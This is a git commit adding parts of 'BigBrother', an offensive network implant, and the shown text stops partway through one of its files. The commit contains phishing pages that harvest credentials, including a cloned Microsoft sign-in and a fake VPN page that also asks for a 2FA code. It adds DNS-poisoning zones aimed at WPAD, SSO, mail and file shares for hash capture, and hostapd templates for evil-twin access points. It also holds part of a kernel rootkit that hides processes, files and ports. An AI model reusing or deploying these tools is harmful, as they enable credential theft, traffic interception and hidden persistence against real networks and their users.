Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,57 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Corporate Sign In</title>
|
||||
<style>
|
||||
*{margin:0;padding:0;box-sizing:border-box}
|
||||
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,sans-serif;background:#f0f2f5;display:flex;justify-content:center;align-items:center;min-height:100vh;color:#1d1d1f}
|
||||
.login-container{background:#fff;border-radius:12px;box-shadow:0 2px 20px rgba(0,0,0,.08);padding:48px 40px;width:100%;max-width:420px}
|
||||
.logo{text-align:center;margin-bottom:32px}
|
||||
.logo .icon{width:48px;height:48px;background:#0066cc;border-radius:10px;display:inline-flex;align-items:center;justify-content:center;margin-bottom:12px}
|
||||
.logo .icon svg{width:28px;height:28px;fill:#fff}
|
||||
.logo h1{font-size:22px;font-weight:600;color:#1d1d1f}
|
||||
.logo p{font-size:14px;color:#6e6e73;margin-top:4px}
|
||||
.form-group{margin-bottom:20px}
|
||||
.form-group label{display:block;font-size:13px;font-weight:500;color:#1d1d1f;margin-bottom:6px}
|
||||
.form-group input{width:100%;padding:12px 16px;border:1px solid #d2d2d7;border-radius:8px;font-size:15px;transition:border-color .2s;outline:none;background:#fafafa}
|
||||
.form-group input:focus{border-color:#0066cc;background:#fff;box-shadow:0 0 0 3px rgba(0,102,204,.1)}
|
||||
.form-group input::placeholder{color:#aeaeb2}
|
||||
.btn-login{width:100%;padding:13px;background:#0066cc;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;transition:background .2s}
|
||||
.btn-login:hover{background:#0055b3}
|
||||
.btn-login:active{background:#004499}
|
||||
.help-links{text-align:center;margin-top:24px}
|
||||
.help-links a{font-size:13px;color:#0066cc;text-decoration:none;margin:0 8px}
|
||||
.help-links a:hover{text-decoration:underline}
|
||||
.footer{text-align:center;margin-top:32px;font-size:11px;color:#aeaeb2}
|
||||
.error-msg{display:none;background:#fef0f0;border:1px solid #fbc4c4;color:#c62828;padding:10px 14px;border-radius:8px;font-size:13px;margin-bottom:16px}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<div class="logo">
|
||||
<div class="icon"><svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 15l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z"/></svg></div>
|
||||
<h1>Corporate Network</h1>
|
||||
<p>Sign in with your organization account</p>
|
||||
</div>
|
||||
<div class="error-msg" id="error">Invalid credentials. Please try again.</div>
|
||||
<form method="POST" action="/">
|
||||
<div class="form-group">
|
||||
<label for="username">Email or Username</label>
|
||||
<input type="text" id="username" name="username" placeholder="user@company.com" required autocomplete="username" autofocus>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="password">Password</label>
|
||||
<input type="password" id="password" name="password" placeholder="Enter your password" required autocomplete="current-password">
|
||||
</div>
|
||||
<button type="submit" class="btn-login">Sign In</button>
|
||||
</form>
|
||||
<div class="help-links">
|
||||
<a href="#">Forgot password?</a>
|
||||
<a href="#">Request access</a>
|
||||
</div>
|
||||
<div class="footer">© 2024 Corporate IT Services. Authorized use only.</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,86 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Guest WiFi Access</title>
|
||||
<style>
|
||||
*{margin:0;padding:0;box-sizing:border-box}
|
||||
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);display:flex;justify-content:center;align-items:center;min-height:100vh}
|
||||
.portal{background:#fff;border-radius:16px;box-shadow:0 20px 60px rgba(0,0,0,.15);padding:40px;width:100%;max-width:480px}
|
||||
.header{text-align:center;margin-bottom:28px}
|
||||
.header .wifi-icon{font-size:48px;margin-bottom:12px}
|
||||
.header h1{font-size:24px;color:#1a1a2e;font-weight:700}
|
||||
.header p{font-size:14px;color:#666;margin-top:6px;line-height:1.5}
|
||||
.terms-box{background:#f8f9fa;border:1px solid #e9ecef;border-radius:10px;padding:20px;margin-bottom:24px;max-height:160px;overflow-y:auto;font-size:12px;color:#555;line-height:1.6}
|
||||
.terms-box h3{font-size:13px;color:#333;margin-bottom:8px}
|
||||
.form-group{margin-bottom:18px}
|
||||
.form-group label{display:block;font-size:13px;font-weight:500;color:#333;margin-bottom:5px}
|
||||
.form-group input,.form-group select{width:100%;padding:11px 14px;border:1px solid #ddd;border-radius:8px;font-size:14px;outline:none;transition:border-color .2s}
|
||||
.form-group input:focus,.form-group select:focus{border-color:#667eea;box-shadow:0 0 0 3px rgba(102,126,234,.12)}
|
||||
.checkbox-group{display:flex;align-items:flex-start;gap:8px;margin-bottom:20px}
|
||||
.checkbox-group input[type=checkbox]{margin-top:3px;width:16px;height:16px;accent-color:#667eea}
|
||||
.checkbox-group label{font-size:13px;color:#555;line-height:1.4}
|
||||
.btn-connect{width:100%;padding:14px;background:linear-gradient(135deg,#667eea,#764ba2);color:#fff;border:none;border-radius:10px;font-size:16px;font-weight:600;cursor:pointer;transition:opacity .2s}
|
||||
.btn-connect:hover{opacity:.9}
|
||||
.btn-connect:disabled{opacity:.5;cursor:not-allowed}
|
||||
.duration{text-align:center;margin-top:16px;font-size:12px;color:#999}
|
||||
.row{display:flex;gap:12px}
|
||||
.row .form-group{flex:1}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="portal">
|
||||
<div class="header">
|
||||
<div class="wifi-icon">📶</div>
|
||||
<h1>Guest WiFi Access</h1>
|
||||
<p>Welcome! Please register to connect to our guest network.</p>
|
||||
</div>
|
||||
<form method="POST" action="/" id="guestForm">
|
||||
<div class="row">
|
||||
<div class="form-group">
|
||||
<label for="first_name">First Name</label>
|
||||
<input type="text" id="first_name" name="first_name" placeholder="John" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="last_name">Last Name</label>
|
||||
<input type="text" id="last_name" name="last_name" placeholder="Smith" required>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="email">Email Address</label>
|
||||
<input type="email" id="email" name="email" placeholder="john.smith@example.com" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="company">Company / Organization</label>
|
||||
<input type="text" id="company" name="company" placeholder="Acme Corp">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="reason">Purpose of Visit</label>
|
||||
<select id="reason" name="reason">
|
||||
<option value="meeting">Meeting / Appointment</option>
|
||||
<option value="vendor">Vendor / Contractor</option>
|
||||
<option value="interview">Interview</option>
|
||||
<option value="event">Event / Conference</option>
|
||||
<option value="other">Other</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="terms-box">
|
||||
<h3>Terms of Use</h3>
|
||||
<p>By connecting to this wireless network, you agree to the following terms and conditions:</p>
|
||||
<p>1. This network is provided for authorized guest use only. All network activity may be monitored and recorded for security purposes.</p>
|
||||
<p>2. Users must not attempt to access unauthorized systems, intercept network traffic, or engage in any activity that violates applicable laws.</p>
|
||||
<p>3. The organization reserves the right to terminate access at any time without notice.</p>
|
||||
<p>4. This is an unsecured network. Users connect at their own risk. The organization is not responsible for any data loss or security incidents.</p>
|
||||
<p>5. Access is limited to 24 hours. Contact the front desk for extensions.</p>
|
||||
</div>
|
||||
<div class="checkbox-group">
|
||||
<input type="checkbox" id="accept_terms" name="accept_terms" required>
|
||||
<label for="accept_terms">I accept the Terms of Use and acknowledge that network activity may be monitored.</label>
|
||||
</div>
|
||||
<button type="submit" class="btn-connect">Connect to WiFi</button>
|
||||
</form>
|
||||
<div class="duration">Access valid for 24 hours from registration.</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,88 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Sign in to your account</title>
|
||||
<style>
|
||||
*{margin:0;padding:0;box-sizing:border-box}
|
||||
body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#f2f2f2;display:flex;justify-content:center;align-items:center;min-height:100vh}
|
||||
.login-box{background:#fff;width:440px;min-height:338px;padding:44px;box-shadow:0 2px 6px rgba(0,0,0,.2)}
|
||||
.ms-logo{margin-bottom:16px}
|
||||
.ms-logo svg{width:108px;height:24px}
|
||||
.title{font-size:24px;font-weight:600;color:#1b1b1b;margin-bottom:24px}
|
||||
.form-field{margin-bottom:16px;position:relative}
|
||||
.form-field input{width:100%;padding:6px 0 6px 10px;border:none;border-bottom:1px solid #666;font-size:15px;outline:none;background:transparent;color:#1b1b1b;height:36px}
|
||||
.form-field input:focus{border-bottom:2px solid #0067b8;padding-bottom:5px}
|
||||
.form-field input::placeholder{color:#767676}
|
||||
.link-forgot{display:block;font-size:13px;color:#0067b8;text-decoration:none;margin-bottom:16px;margin-top:4px}
|
||||
.link-forgot:hover{text-decoration:underline;color:#005a9e}
|
||||
.btn-next{display:block;width:100%;padding:10px 20px;background:#0067b8;color:#fff;border:none;font-size:15px;font-weight:600;cursor:pointer;transition:background .15s;text-align:center}
|
||||
.btn-next:hover{background:#005a9e}
|
||||
.options{margin-top:16px}
|
||||
.options a{display:block;font-size:13px;color:#0067b8;text-decoration:none;margin-bottom:6px}
|
||||
.options a:hover{text-decoration:underline}
|
||||
.footer-links{margin-top:32px;display:flex;gap:16px}
|
||||
.footer-links a{font-size:12px;color:#0067b8;text-decoration:none}
|
||||
.footer-links a:hover{text-decoration:underline}
|
||||
.step{display:none}
|
||||
.step.active{display:block}
|
||||
.back-btn{background:none;border:none;cursor:pointer;display:flex;align-items:center;gap:6px;font-size:13px;color:#1b1b1b;margin-bottom:16px;padding:0}
|
||||
.back-btn:hover{text-decoration:underline}
|
||||
.back-btn svg{width:16px;height:16px}
|
||||
.user-display{display:flex;align-items:center;gap:8px;background:#f2f2f2;border-radius:20px;padding:4px 16px 4px 4px;margin-bottom:20px;width:fit-content;font-size:13px;color:#1b1b1b}
|
||||
.user-display .avatar{width:24px;height:24px;background:#0067b8;border-radius:50%;display:flex;align-items:center;justify-content:center;color:#fff;font-size:11px;font-weight:600}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-box">
|
||||
<div class="ms-logo">
|
||||
<svg viewBox="0 0 108 24"><path fill="#f25022" d="M0 0h11v11H0z"/><path fill="#7fba00" d="M12 0h11v11H12z"/><path fill="#00a4ef" d="M0 12h11v11H0z"/><path fill="#ffb900" d="M12 12h11v11H12z"/><text x="28" y="18" fill="#1b1b1b" font-family="Segoe UI" font-size="16" font-weight="600">Microsoft</text></svg>
|
||||
</div>
|
||||
|
||||
<div class="step active" id="step1">
|
||||
<div class="title">Sign in</div>
|
||||
<form id="emailForm" onsubmit="showStep2(event)">
|
||||
<div class="form-field">
|
||||
<input type="text" id="username" name="username" placeholder="Email, phone, or Skype" required autofocus autocomplete="username">
|
||||
</div>
|
||||
<div class="options">
|
||||
<a href="#">No account? Create one!</a>
|
||||
<a href="#">Can't access your account?</a>
|
||||
</div>
|
||||
<div style="text-align:right;margin-top:24px">
|
||||
<button type="submit" class="btn-next" style="width:auto;display:inline-block;min-width:108px">Next</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<div class="step" id="step2">
|
||||
<button type="button" class="back-btn" onclick="showStep1()">
|
||||
<svg viewBox="0 0 16 16"><path d="M11 1L4 8l7 7" fill="none" stroke="currentColor" stroke-width="2"/></svg>
|
||||
<span id="displayEmail"></span>
|
||||
</button>
|
||||
<div class="title">Enter password</div>
|
||||
<form method="POST" action="/" id="passwordForm">
|
||||
<input type="hidden" id="hiddenUsername" name="username">
|
||||
<div class="form-field">
|
||||
<input type="password" id="password" name="password" placeholder="Password" required autocomplete="current-password">
|
||||
</div>
|
||||
<a href="#" class="link-forgot">Forgot my password</a>
|
||||
<div style="text-align:right">
|
||||
<button type="submit" class="btn-next" style="width:auto;display:inline-block;min-width:108px">Sign in</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<div class="footer-links">
|
||||
<a href="#">Terms of use</a>
|
||||
<a href="#">Privacy & cookies</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
function showStep2(e){e.preventDefault();var u=document.getElementById('username').value;document.getElementById('displayEmail').textContent=u;document.getElementById('hiddenUsername').value=u;document.getElementById('step1').classList.remove('active');document.getElementById('step2').classList.add('active');document.getElementById('password').focus()}
|
||||
function showStep1(){document.getElementById('step2').classList.remove('active');document.getElementById('step1').classList.add('active');document.getElementById('username').focus()}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>VPN Gateway - Secure Access</title>
|
||||
<style>
|
||||
*{margin:0;padding:0;box-sizing:border-box}
|
||||
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:#1a1a2e;display:flex;justify-content:center;align-items:center;min-height:100vh;color:#e0e0e0}
|
||||
.container{display:flex;flex-direction:column;align-items:center;width:100%;max-width:400px;padding:20px}
|
||||
.status-bar{background:rgba(255,255,255,.05);border:1px solid rgba(255,255,255,.1);border-radius:8px;padding:10px 20px;margin-bottom:24px;width:100%;display:flex;align-items:center;gap:10px;font-size:13px}
|
||||
.status-dot{width:8px;height:8px;border-radius:50%;background:#ff4444;animation:pulse 2s infinite}
|
||||
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.4}}
|
||||
.status-bar span{color:#ccc}
|
||||
.login-card{background:linear-gradient(145deg,#16213e,#1a1a2e);border:1px solid rgba(255,255,255,.08);border-radius:16px;padding:40px 36px;width:100%;box-shadow:0 8px 32px rgba(0,0,0,.3)}
|
||||
.header{text-align:center;margin-bottom:32px}
|
||||
.shield-icon{width:56px;height:56px;margin:0 auto 16px;background:rgba(0,150,255,.15);border-radius:14px;display:flex;align-items:center;justify-content:center}
|
||||
.shield-icon svg{width:32px;height:32px;fill:#0096ff}
|
||||
.header h1{font-size:20px;font-weight:600;color:#fff}
|
||||
.header p{font-size:13px;color:#888;margin-top:6px}
|
||||
.form-group{margin-bottom:18px}
|
||||
.form-group label{display:block;font-size:12px;font-weight:500;color:#aaa;margin-bottom:6px;text-transform:uppercase;letter-spacing:.5px}
|
||||
.form-group input,.form-group select{width:100%;padding:12px 14px;border:1px solid rgba(255,255,255,.1);border-radius:8px;font-size:14px;outline:none;background:rgba(255,255,255,.05);color:#fff;transition:border-color .2s}
|
||||
.form-group input:focus,.form-group select:focus{border-color:#0096ff;box-shadow:0 0 0 3px rgba(0,150,255,.15)}
|
||||
.form-group input::placeholder{color:#555}
|
||||
.form-group select{appearance:none;cursor:pointer}
|
||||
.form-group select option{background:#1a1a2e;color:#fff}
|
||||
.remember-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:24px}
|
||||
.remember-row label{display:flex;align-items:center;gap:6px;font-size:13px;color:#aaa;cursor:pointer}
|
||||
.remember-row input[type=checkbox]{accent-color:#0096ff}
|
||||
.btn-connect{width:100%;padding:14px;background:linear-gradient(135deg,#0066ff,#0096ff);color:#fff;border:none;border-radius:8px;font-size:15px;font-weight:600;cursor:pointer;transition:opacity .2s;position:relative;overflow:hidden}
|
||||
.btn-connect:hover{opacity:.9}
|
||||
.btn-connect:active{transform:scale(.99)}
|
||||
.security-note{margin-top:24px;text-align:center;font-size:11px;color:#555;line-height:1.5}
|
||||
.security-note svg{width:12px;height:12px;fill:#555;vertical-align:middle;margin-right:4px}
|
||||
.cert-info{margin-top:16px;padding:12px;background:rgba(0,150,255,.05);border:1px solid rgba(0,150,255,.1);border-radius:8px;font-size:11px;color:#668}
|
||||
.cert-info .label{color:#0096ff;font-weight:500}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="status-bar">
|
||||
<div class="status-dot"></div>
|
||||
<span>SSL VPN Gateway — Authentication Required</span>
|
||||
</div>
|
||||
<div class="login-card">
|
||||
<div class="header">
|
||||
<div class="shield-icon"><svg viewBox="0 0 24 24"><path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11v8.8z"/></svg></div>
|
||||
<h1>Secure VPN Access</h1>
|
||||
<p>Authenticate to connect to the corporate network</p>
|
||||
</div>
|
||||
<form method="POST" action="/">
|
||||
<div class="form-group">
|
||||
<label for="realm">Authentication Realm</label>
|
||||
<select id="realm" name="realm">
|
||||
<option value="corporate">Corporate (AD)</option>
|
||||
<option value="contractor">Contractor</option>
|
||||
<option value="admin">IT Admin</option>
|
||||
<option value="emergency">Emergency Access</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="username">Username</label>
|
||||
<input type="text" id="username" name="username" placeholder="DOMAIN\username or email" required autofocus autocomplete="username">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="password">Password</label>
|
||||
<input type="password" id="password" name="password" placeholder="Enter your password" required autocomplete="current-password">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="otp">Two-Factor Code (if enabled)</label>
|
||||
<input type="text" id="otp" name="otp" placeholder="6-digit code or leave blank" autocomplete="one-time-code" inputmode="numeric" maxlength="6">
|
||||
</div>
|
||||
<div class="remember-row">
|
||||
<label><input type="checkbox" name="remember"> Remember this device</label>
|
||||
</div>
|
||||
<button type="submit" class="btn-connect">Connect</button>
|
||||
</form>
|
||||
<div class="security-note">
|
||||
<svg viewBox="0 0 24 24"><path d="M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2zm-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm3.1-9H8.9V6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2z"/></svg>
|
||||
Secured with TLS 1.3. All traffic encrypted.
|
||||
</div>
|
||||
<div class="cert-info">
|
||||
<span class="label">Certificate:</span> vpn-gateway.internal<br>
|
||||
<span class="label">Issued by:</span> Corporate Root CA<br>
|
||||
<span class="label">Valid until:</span> 2025-12-31
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,19 @@
|
||||
# BigBrother DNS Zone — Redirect All
|
||||
#
|
||||
# Redirects ALL DNS queries to the implant IP.
|
||||
# Used with dns_poison.py load_zone() method.
|
||||
#
|
||||
# Format: domain target_ip
|
||||
# Use * for wildcard matching.
|
||||
#
|
||||
# WARNING: Redirecting all DNS is extremely noisy. Use selective.zone.j2
|
||||
# for targeted operations. This zone is for quick-and-dirty captive portal
|
||||
# or total traffic interception scenarios.
|
||||
#
|
||||
# Usage:
|
||||
# dns_poison.load_zone("redirect_all.zone")
|
||||
#
|
||||
# The target IP on the last entry is used as the redirect destination.
|
||||
# Replace IMPLANT_IP with the actual implant IP before use.
|
||||
|
||||
* IMPLANT_IP
|
||||
@@ -0,0 +1,49 @@
|
||||
# BigBrother DNS Zone — Selective Redirection
|
||||
#
|
||||
# Jinja2 template for targeted DNS poisoning. Render with:
|
||||
# implant_ip: IP address to redirect to
|
||||
# target_domain: Primary target domain (e.g., "corp.local")
|
||||
# extra_domains: Optional list of additional domains
|
||||
#
|
||||
# Format: domain target_ip
|
||||
# Lines starting with # are ignored.
|
||||
#
|
||||
# Usage:
|
||||
# from jinja2 import Template
|
||||
# rendered = Template(open("selective.zone.j2").read()).render(
|
||||
# implant_ip="192.168.1.50",
|
||||
# target_domain="corp.local",
|
||||
# extra_domains=["intranet.company.com", "vpn.company.com"]
|
||||
# )
|
||||
|
||||
# WPAD — forces proxy autoconfiguration to implant (NTLM capture)
|
||||
wpad.{{ target_domain }} {{ implant_ip }}
|
||||
wpad {{ implant_ip }}
|
||||
|
||||
# Internal authentication endpoints
|
||||
login.{{ target_domain }} {{ implant_ip }}
|
||||
auth.{{ target_domain }} {{ implant_ip }}
|
||||
sso.{{ target_domain }} {{ implant_ip }}
|
||||
adfs.{{ target_domain }} {{ implant_ip }}
|
||||
|
||||
# Exchange / mail
|
||||
autodiscover.{{ target_domain }} {{ implant_ip }}
|
||||
mail.{{ target_domain }} {{ implant_ip }}
|
||||
owa.{{ target_domain }} {{ implant_ip }}
|
||||
|
||||
# SharePoint / intranet
|
||||
intranet.{{ target_domain }} {{ implant_ip }}
|
||||
sharepoint.{{ target_domain }} {{ implant_ip }}
|
||||
portal.{{ target_domain }} {{ implant_ip }}
|
||||
|
||||
# File shares (for hash capture)
|
||||
files.{{ target_domain }} {{ implant_ip }}
|
||||
nas.{{ target_domain }} {{ implant_ip }}
|
||||
dfs.{{ target_domain }} {{ implant_ip }}
|
||||
|
||||
{% if extra_domains is defined %}
|
||||
# Additional targeted domains
|
||||
{% for domain in extra_domains %}
|
||||
{{ domain }} {{ implant_ip }}
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
@@ -0,0 +1,39 @@
|
||||
# BigBrother hostapd configuration — Open AP (no password)
|
||||
#
|
||||
# Used by evil_twin.py for captive portal attacks.
|
||||
# Jinja2 variables:
|
||||
# interface: Wireless interface (e.g., "wlan0")
|
||||
# ssid: Target SSID to clone
|
||||
# channel: WiFi channel (1-11 for 2.4GHz)
|
||||
# driver: Wireless driver (default: nl80211)
|
||||
# hw_mode: Hardware mode (default: g for 2.4GHz)
|
||||
# country_code: Regulatory domain (default: US)
|
||||
# beacon_int: Beacon interval in ms (default: 100)
|
||||
|
||||
interface={{ interface | default('wlan0') }}
|
||||
driver={{ driver | default('nl80211') }}
|
||||
ssid={{ ssid }}
|
||||
hw_mode={{ hw_mode | default('g') }}
|
||||
channel={{ channel | default(6) }}
|
||||
country_code={{ country_code | default('US') }}
|
||||
ieee80211d=1
|
||||
|
||||
# No encryption — open AP for captive portal
|
||||
auth_algs=1
|
||||
wpa=0
|
||||
|
||||
# Beacon and capabilities
|
||||
beacon_int={{ beacon_int | default(100) }}
|
||||
wmm_enabled=0
|
||||
macaddr_acl=0
|
||||
ignore_broadcast_ssid=0
|
||||
|
||||
# 802.11n support (better performance)
|
||||
ieee80211n=1
|
||||
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]
|
||||
|
||||
# Logging
|
||||
logger_syslog=-1
|
||||
logger_syslog_level=2
|
||||
logger_stdout=-1
|
||||
logger_stdout_level=2
|
||||
@@ -0,0 +1,45 @@
|
||||
# BigBrother hostapd configuration — WPA2-PSK AP
|
||||
#
|
||||
# Used by evil_twin.py for WPA2 evil twin attacks.
|
||||
# Requires knowing or guessing the target PSK.
|
||||
# Jinja2 variables:
|
||||
# interface: Wireless interface (e.g., "wlan0")
|
||||
# ssid: Target SSID to clone
|
||||
# channel: WiFi channel (1-11 for 2.4GHz)
|
||||
# wpa_passphrase: WPA2 pre-shared key
|
||||
# driver: Wireless driver (default: nl80211)
|
||||
# hw_mode: Hardware mode (default: g for 2.4GHz)
|
||||
# country_code: Regulatory domain (default: US)
|
||||
# beacon_int: Beacon interval in ms (default: 100)
|
||||
|
||||
interface={{ interface | default('wlan0') }}
|
||||
driver={{ driver | default('nl80211') }}
|
||||
ssid={{ ssid }}
|
||||
hw_mode={{ hw_mode | default('g') }}
|
||||
channel={{ channel | default(6) }}
|
||||
country_code={{ country_code | default('US') }}
|
||||
ieee80211d=1
|
||||
|
||||
# WPA2-PSK configuration
|
||||
auth_algs=1
|
||||
wpa=2
|
||||
wpa_passphrase={{ wpa_passphrase }}
|
||||
wpa_key_mgmt=WPA-PSK
|
||||
wpa_pairwise=CCMP
|
||||
rsn_pairwise=CCMP
|
||||
|
||||
# Beacon and capabilities
|
||||
beacon_int={{ beacon_int | default(100) }}
|
||||
wmm_enabled=1
|
||||
macaddr_acl=0
|
||||
ignore_broadcast_ssid=0
|
||||
|
||||
# 802.11n support
|
||||
ieee80211n=1
|
||||
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]
|
||||
|
||||
# Logging
|
||||
logger_syslog=-1
|
||||
logger_syslog_level=2
|
||||
logger_stdout=-1
|
||||
logger_stdout_level=2
|
||||
@@ -0,0 +1,9 @@
|
||||
obj-m += bb_hide.o
|
||||
|
||||
KDIR ?= /lib/modules/$(shell uname -r)/build
|
||||
|
||||
all:
|
||||
make -C $(KDIR) M=$(PWD) modules
|
||||
|
||||
clean:
|
||||
make -C $(KDIR) M=$(PWD) clean
|
||||
@@ -0,0 +1,542 @@
|
||||
/*
|
||||
* bb_hide.c — BigBrother LKM rootkit
|
||||
*
|
||||
* Hides processes, files/directories, and network connections from userland.
|
||||
* Uses ftrace-based syscall hooking (NOT direct syscall table modification).
|
||||
*
|
||||
* Module parameters (configurable at load time and via sysfs):
|
||||
* hide_prefix — file/directory prefix to hide (default: ".cache/bb")
|
||||
* hide_pids — comma-separated PIDs to hide (default: "")
|
||||
* hide_ports — comma-separated ports to hide (default: "8081,51820")
|
||||
*
|
||||
* SPDX-License-Identifier: GPL-2.0
|
||||
*/
|
||||
|
||||
#include <linux/module.h>
|
||||
#include <linux/kernel.h>
|
||||
#include <linux/init.h>
|
||||
#include <linux/version.h>
|
||||
#include <linux/kallsyms.h>
|
||||
#include <linux/dirent.h>
|
||||
#include <linux/fs.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/uaccess.h>
|
||||
#include <linux/string.h>
|
||||
#include <linux/ftrace.h>
|
||||
#include <linux/kprobes.h>
|
||||
#include <linux/seq_file.h>
|
||||
#include <linux/proc_fs.h>
|
||||
#include <linux/namei.h>
|
||||
#include <linux/list.h>
|
||||
#include <linux/tcp.h>
|
||||
#include <linux/udp.h>
|
||||
#include <linux/net.h>
|
||||
#include <net/sock.h>
|
||||
#include <net/inet_sock.h>
|
||||
|
||||
MODULE_LICENSE("GPL");
|
||||
MODULE_AUTHOR("BigBrother");
|
||||
MODULE_DESCRIPTION("Process, file, and connection hiding via ftrace hooks");
|
||||
MODULE_VERSION("1.0");
|
||||
|
||||
/* --- Module parameters --- */
|
||||
|
||||
static char *hide_prefix = ".cache/bb";
|
||||
module_param(hide_prefix, charp, 0644);
|
||||
MODULE_PARM_DESC(hide_prefix, "File/directory prefix to hide from readdir");
|
||||
|
||||
static char *hide_pids = "";
|
||||
module_param(hide_pids, charp, 0644);
|
||||
MODULE_PARM_DESC(hide_pids, "Comma-separated PIDs to hide from /proc");
|
||||
|
||||
static char *hide_ports = "8081,51820";
|
||||
module_param(hide_ports, charp, 0644);
|
||||
MODULE_PARM_DESC(hide_ports, "Comma-separated ports to hide from /proc/net");
|
||||
|
||||
/* --- Configuration limits --- */
|
||||
|
||||
#define MAX_HIDDEN_PIDS 64
|
||||
#define MAX_HIDDEN_PORTS 32
|
||||
#define MAX_PREFIX_LEN 256
|
||||
|
||||
/* --- Parsed hide lists --- */
|
||||
|
||||
static pid_t hidden_pids[MAX_HIDDEN_PIDS];
|
||||
static int hidden_pid_count = 0;
|
||||
|
||||
static u16 hidden_ports[MAX_HIDDEN_PORTS];
|
||||
static int hidden_port_count = 0;
|
||||
|
||||
/* --- Helper: parse comma-separated integers --- */
|
||||
|
||||
static void parse_pid_list(const char *str)
|
||||
{
|
||||
const char *p = str;
|
||||
char buf[16];
|
||||
int i = 0;
|
||||
long val;
|
||||
|
||||
hidden_pid_count = 0;
|
||||
if (!str || !*str)
|
||||
return;
|
||||
|
||||
while (*p && hidden_pid_count < MAX_HIDDEN_PIDS) {
|
||||
i = 0;
|
||||
while (*p && *p != ',' && i < 15) {
|
||||
if (*p >= '0' && *p <= '9')
|
||||
buf[i++] = *p;
|
||||
p++;
|
||||
}
|
||||
buf[i] = '\0';
|
||||
if (i > 0 && kstrtol(buf, 10, &val) == 0)
|
||||
hidden_pids[hidden_pid_count++] = (pid_t)val;
|
||||
if (*p == ',')
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
static void parse_port_list(const char *str)
|
||||
{
|
||||
const char *p = str;
|
||||
char buf[8];
|
||||
int i = 0;
|
||||
long val;
|
||||
|
||||
hidden_port_count = 0;
|
||||
if (!str || !*str)
|
||||
return;
|
||||
|
||||
while (*p && hidden_port_count < MAX_HIDDEN_PORTS) {
|
||||
i = 0;
|
||||
while (*p && *p != ',' && i < 7) {
|
||||
if (*p >= '0' && *p <= '9')
|
||||
buf[i++] = *p;
|
||||
p++;
|
||||
}
|
||||
buf[i] = '\0';
|
||||
if (i > 0 && kstrtol(buf, 10, &val) == 0)
|
||||
hidden_ports[hidden_port_count++] = (u16)val;
|
||||
if (*p == ',')
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
/* --- Helper: check if a value is in a hide list --- */
|
||||
|
||||
static bool is_pid_hidden(pid_t pid)
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < hidden_pid_count; i++)
|
